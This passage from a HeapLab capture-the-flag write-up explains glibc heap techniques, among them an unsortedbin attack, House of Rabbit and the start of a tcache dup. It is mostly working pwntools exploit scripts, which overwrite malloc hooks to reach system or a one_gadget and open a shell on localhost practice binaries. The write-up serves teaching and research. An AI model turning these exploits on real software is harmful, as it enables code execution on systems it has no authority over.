</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    calloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">+=</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> calloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">-</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>calloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">edit</span>(index, data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">read</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;4&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    ret <span style="color:#00d3d0">=</span> proc<span style="color:#00d3d0">.</span>recvline()
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> ret
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">140</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>chunk_A <span style="color:#00d3d0">=</span> calloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>chunk_B <span style="color:#00d3d0">=</span> calloc(<span style="color:#00bcff">0x210</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>chunk_C <span style="color:#00d3d0">=</span> calloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># padding</span>
</span></span><span style="display:flex;"><span>free(chunk_B)
</span></span><span style="display:flex;"><span>edit(chunk_A, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)) <span style="color:#a8a8a8"># overflow LSB of chunk_B.size to 0x00</span>
</span></span><span style="display:flex;"><span>chunk_E <span style="color:#00d3d0">=</span> calloc(<span style="color:#00bcff">0x100</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>chunk_F <span style="color:#00d3d0">=</span> calloc(<span style="color:#00bcff">0x100</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>free(chunk_E)
</span></span><span style="display:flex;"><span>free(chunk_C)
</span></span><span style="display:flex;"><span>chunk_G <span style="color:#00d3d0">=</span> calloc(<span style="color:#00bcff">0x1b0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>free(chunk_A)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [chunk A] -&gt; [chunk E/F]</span>
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> unpack(read(chunk_F)[<span style="color:#00bcff">0xb0</span>:][:<span style="color:#00bcff">8</span>]) <span style="color:#00d3d0">-</span> (libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>main_arena<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x58</span>)
</span></span><span style="display:flex;"><span>heap <span style="color:#00d3d0">=</span> unpack(read(chunk_F)[<span style="color:#00bcff">0xb0</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">8</span>:][:<span style="color:#00bcff">8</span>])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x1c0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># empty unsortedbin</span>
</span></span><span style="display:flex;"><span>chunk_H <span style="color:#00d3d0">=</span> calloc(<span style="color:#00bcff">0xf0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>free(chunk_H)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [chunk H/F]</span>
</span></span><span style="display:flex;"><span>edit(chunk_F, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;F&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0xa8</span> <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0xf1</span>) <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0</span>) <span style="color:#00d3d0">+</span> p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>global_max_fast<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>))
</span></span><span style="display:flex;"><span>chunk_boop <span style="color:#00d3d0">=</span> calloc(<span style="color:#00bcff">0xf0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># unsortedbin attack</span>
</span></span><span style="display:flex;"><span>free(chunk_boop)
</span></span><span style="display:flex;"><span>edit(chunk_F, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;F&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0xa8</span> <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0xf1</span>) <span style="color:#00d3d0">+</span> p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__malloc_hook<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x23</span>))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x100 fastbin: [chunk ??] -&gt; &amp;__malloc_hook-0x23</span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0xf0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>chunk_I <span style="color:#00d3d0">=</span> calloc(<span style="color:#00bcff">0xf0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x100 fastbin: [chunk I/F]</span>
</span></span><span style="display:flex;"><span>one_gadget <span style="color:#00d3d0">=</span> libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">+</span> ???
</span></span><span style="display:flex;"><span>edit(chunk_I, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x13</span> <span style="color:#00d3d0">+</span> p64(one_gadget))
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x80</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># trigger __malloc_hook</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvall(timeout<span style="color:#00d3d0">=</span><span style="color:#00bcff">0.5</span>))</span></span></code></pre></div>
</details>

<p>The intended solve was to use the unsortedbin attack to create fake chunk metadata in front of <kbd>__free_hook</kbd>; while this is a clever idea, this doesn&rsquo;t work under QEMU as the MSB of libc addresses is <code>0xff</code>, not <code>0x7f</code>.</p>
<h2 id="house-of-rabbit">House of Rabbit</h2>
<p>This is a technique that touches on many of the challenges covered thus far where a fake chunk &ldquo;hops&rdquo; between the fastbins, unsortedbin and largebins.</p>
<p>The steps are as follows:</p>
<ol>
<li>Increase <kbd>main_arena.system_mem</kbd> to at least <code>0x80000</code> (minimum size of the largest largebin) by allocating and then freeing a large chunk (to raise <kbd>mp_.mmap_threshold</kbd>), then allocating another large chunk</li>
<li><span class="org-target" id="org-target--step-2"></span> Craft a fake chunk with an attacker-controlled, editable size field (initially set to <code>0x0</code>). Link it into a fastbin (using e.g. fastbin dup)</li>
<li>Consolidate the fastbins into the unsortedbin by freeing a large chunk (any chunk that gets consolidated with this chunk counts towards the size)</li>
<li><span class="org-target" id="org-target--step-4"></span> Set the fake chunk&rsquo;s size field to <code>0x80000</code> or higher</li>
<li>Allocate a chunk large enough to sort the largest largebin</li>
<li>Set the fake chunk&rsquo;s size to be large enough to overlap target data (wrapping around after <code>0xffffffffffffffff</code> if target data is before the fake chunk)</li>
<li>Allocate a chunk with a size such that the fake chunk is remaindered into a much smaller chunk that overlaps the target data</li>
<li>Allocate a chunk with size equal to the chunk remaindered from the fake chunk</li>
<li>Profit</li>
</ol>
<h3 id="solve">Solve</h3>
<p>Here we&rsquo;re using a double free to link our fake chunk into a fastbin, but we could skip steps <a href="/writeups/heaplab/#org-target--step-2">2</a>–<a href="/writeups/heaplab/#org-target--step-4">4</a> if we were able to directly link a size <code>0x80000</code> fake chunk into the unsortedbin.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#f78fe7">bin</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size, data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">+=</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">-</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">edit_age</span>(data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;age: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>data<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">150</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>fastbin_consolidation_threshold <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0x10000</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;Enter your age: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span><span style="color:#00bcff">0</span> <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b1</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>chunk_A <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x80000</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span>)
</span></span><span style="display:flex;"><span>free(chunk_A) <span style="color:#a8a8a8"># increase mmap_threshold</span>
</span></span><span style="display:flex;"><span>chunk_B <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x80000</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;B&#34;</span>) <span style="color:#a8a8a8"># increase main_arena.system_mem</span>
</span></span><span style="display:flex;"><span>free(chunk_B)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>chunk_C <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;C&#34;</span>)
</span></span><span style="display:flex;"><span>chunk_D <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;D&#34;</span>)
</span></span><span style="display:flex;"><span>chunk_E <span style="color:#00d3d0">=</span> malloc(fastbin_consolidation_threshold<span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;E&#34;</span>)
</span></span><span style="display:flex;"><span>free(chunk_C)
</span></span><span style="display:flex;"><span>free(chunk_D)
</span></span><span style="display:flex;"><span>free(chunk_C)
</span></span><span style="display:flex;"><span>chunk_F <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user))
</span></span><span style="display:flex;"><span>free(chunk_E) <span style="color:#a8a8a8"># consolidate fastbins</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>edit_age(<span style="color:#00bcff">0x80000</span> <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b1</span>)
</span></span><span style="display:flex;"><span>chunk_G <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x80010</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;G&#34;</span>) <span style="color:#a8a8a8"># sort bin[126]</span>
</span></span><span style="display:flex;"><span>free_hook_offset <span style="color:#00d3d0">=</span> (libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__free_hook<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x20</span>) <span style="color:#00d3d0">-</span> elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user
</span></span><span style="display:flex;"><span>edit_age((free_hook_offset <span style="color:#00d3d0">+</span> <span style="color:#00bcff">0x98</span>) <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>chunk_H <span style="color:#00d3d0">=</span> malloc(free_hook_offset, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/bin/sh</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(<span style="color:#00bcff">0</span>) <span style="color:#00d3d0">+</span> p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>system))
</span></span><span style="display:flex;"><span>free(chunk_H)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n&#39;</span></span></code></pre></div>

<h4 id="no-fastbins">No fastbins</h4>
<p>This is the same challenge, except we can no longer request fastbin sized chunks.</p>
<p>I initially tried setting the size of the fake chunk such that when it was remaindered, the remaindered chunk&rsquo;s size field would overlap with <kbd>__free_hook</kbd> and be set to <kbd>libc.sym.system</kbd>.
However, although <kbd>__free_hook</kbd> can be overwritten this way, the program will segfault immediately afterwards when it tries to access a value just past the remaindered chunk.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#a8a8a8"># ...</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># step 6: allocate a chunk large enough that remaindering it will overwrite the __free_hook with a target value</span>
</span></span><span style="display:flex;"><span>free_hook_offset <span style="color:#00d3d0">=</span> (libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__free_hook<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>) <span style="color:#00d3d0">-</span> elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user
</span></span><span style="display:flex;"><span>edit_age(free_hook_offset <span style="color:#00d3d0">+</span> (libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>do_system<span style="color:#00d3d0">+</span><span style="color:#00bcff">1</span>) <span style="color:#00d3d0">+</span> <span style="color:#00bcff">0x7</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>chunk_M <span style="color:#00d3d0">=</span> malloc(free_hook_offset, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/bin/sh</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>) <span style="color:#a8a8a8"># __free_hook = size of remaindered chunk</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># CRASH! (ノ°益°)ノ</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># free(chunk_M)</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># proc.sendline(b&#34;id&#34;)</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># print(proc.recvline())</span></span></span></code></pre></div>
</details>

<p>Instead I targeted <kbd>__after_morecore_hook</kbd>, which thankfully satisfies the conditions for a one_gadget.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#a8a8a8"># ...</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># step 6: allocate a chunk large enough such that remaindering it will create a free chunk overlapping __after_morecore_hook</span>
</span></span><span style="display:flex;"><span>after_morecore_offset <span style="color:#00d3d0">=</span> (libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__after_morecore_hook <span style="color:#00d3d0">-</span> <span style="color:#00bcff">0x20</span>) <span style="color:#00d3d0">-</span> elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user
</span></span><span style="display:flex;"><span>edit_age((after_morecore_offset <span style="color:#00d3d0">+</span> <span style="color:#00bcff">0xa0</span>) <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(after_morecore_offset, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;M&#34;</span>)
</span></span><span style="display:flex;"><span>one_gadget <span style="color:#00d3d0">=</span> libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">+</span> <span style="color:#00bcff">0x3ff5e</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(one_gadget))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x60010</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&#34;</span>) <span style="color:#a8a8a8"># trigger __after_morecore_hook</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n&#39;</span></span></code></pre></div>

<h2 id="tcache-dup">Tcache dup</h2>
<p><em>From this point on, glibc ≷ 2.26 will be compiled with tcache enabled</em></p>
<p>This is essentially the same as the fastbin dup, except even easier as <kbd>free</kbd> doesn&rsquo;t check if the chunk being freed is already at the head of the tcachebin, and there are absolutely no sanity checks on what constitutes a valid fake chunk.</p>
<h3 id="solve">Solve</h3>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;tcache_dup&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size, data):
